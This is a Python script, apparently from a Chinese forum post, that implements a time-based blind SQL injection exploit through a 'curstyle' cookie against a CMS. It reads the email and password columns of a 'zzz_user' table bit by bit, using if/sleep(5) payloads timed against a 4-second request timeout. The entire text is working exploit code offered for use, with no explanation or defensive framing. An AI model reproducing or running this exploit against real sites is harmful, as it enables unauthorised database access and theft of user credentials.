[Python] 纯文本查看 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by wh1t3P1g at 2017/1/30
import requests,time
class CookieBlindSqlInjection:
def __init__(self,url):
self.url=url
self.len=0
def getLength(self,column,table):
payload0 = "curstyle=1'||if((select length(cast(bin(length({column})) as char)) from {table} limit {line_start},1)={flag},sleep(5),1)=1#"
payload1 = "curstyle=1'||if((select substr(bin(length({column})),{col_start},1) from {table} limit {line_start},1)=1,1,sleep(5))=1#"
#first confirm bin-format data length
len=0
for i in range(1,9):
cookie=payload0.format(column=column,table=table,line_start=0,flag=i)
flag=self.send(cookie)
if flag=="0":
len=i
break
res=""
for i in range(1,len+1):
cookie=payload1.format(column=column,col_start=i,table=table,line_start=0)
flag=self.send(cookie)
res+=flag
# print res
self.len=int(res,2)
pprint("*", "fetch "+column+" length: "+str(self.len))
return int(res,2)
def getData(self,column,table):
payload0="curstyle=1'||if((select length(cast(bin(ascii(substr({column},{data_start},1))) as char)) from {table} limit {line_start},1)={flag},sleep(5),1)=1#"
payload1 = "curstyle=1'||if((select substr(bin(ascii(substr({column},{data_start},1))),{col_start},1) from {table} limit {line_start},1)=1,1,sleep(5))=1#"
total_res=""
for i in range(1,self.len+1):#具体数据的长度
len = 0
for j in range(1, 9):
cookie = payload0.format(column=column,data_start=i, table=table, line_start=0, flag=j)
flag = self.send(cookie)
if flag == "0":
len = j
break
# print "len:"+str(len)
res = ""
for k in range(1, len + 1):
cookie = payload1.format(column=column,data_start=i, col_start=k, table=table, line_start=0)
flag = self.send(cookie)
res += flag
# print res
total_res+=chr(int(res,2))
pprint("*", "fetch "+column+": "+total_res)
return total_res
def send(self,cookie):
headers={"Cookie":cookie}
try:
r = requests.get(self.url, headers=headers,timeout=4)
return "1"
except:
return "0"
def pprint(flag,content):
print "[{flag}] [{time}] {content}" \
.format(flag=flag, time=time.asctime(time.localtime(time.time())), content=content)
if __name__=='__main__':
cookieBlindSqlInjection=CookieBlindSqlInjection("http://127.0.0.1/cms/DM/20170123/")
pprint("*","program start")
pprint("*", "start fetching column[email]")
cookieBlindSqlInjection.getLength("email","zzz_user")
email=cookieBlindSqlInjection.getData("email","zzz_user")
pprint("*", "start fetching column[ps]")
cookieBlindSqlInjection.getLength("ps", "zzz_user")
ps=cookieBlindSqlInjection.getData("ps", "zzz_user")
pprint("*", "[email]: "+email+" ,[ps]: "+ps)
pprint("*", "program done")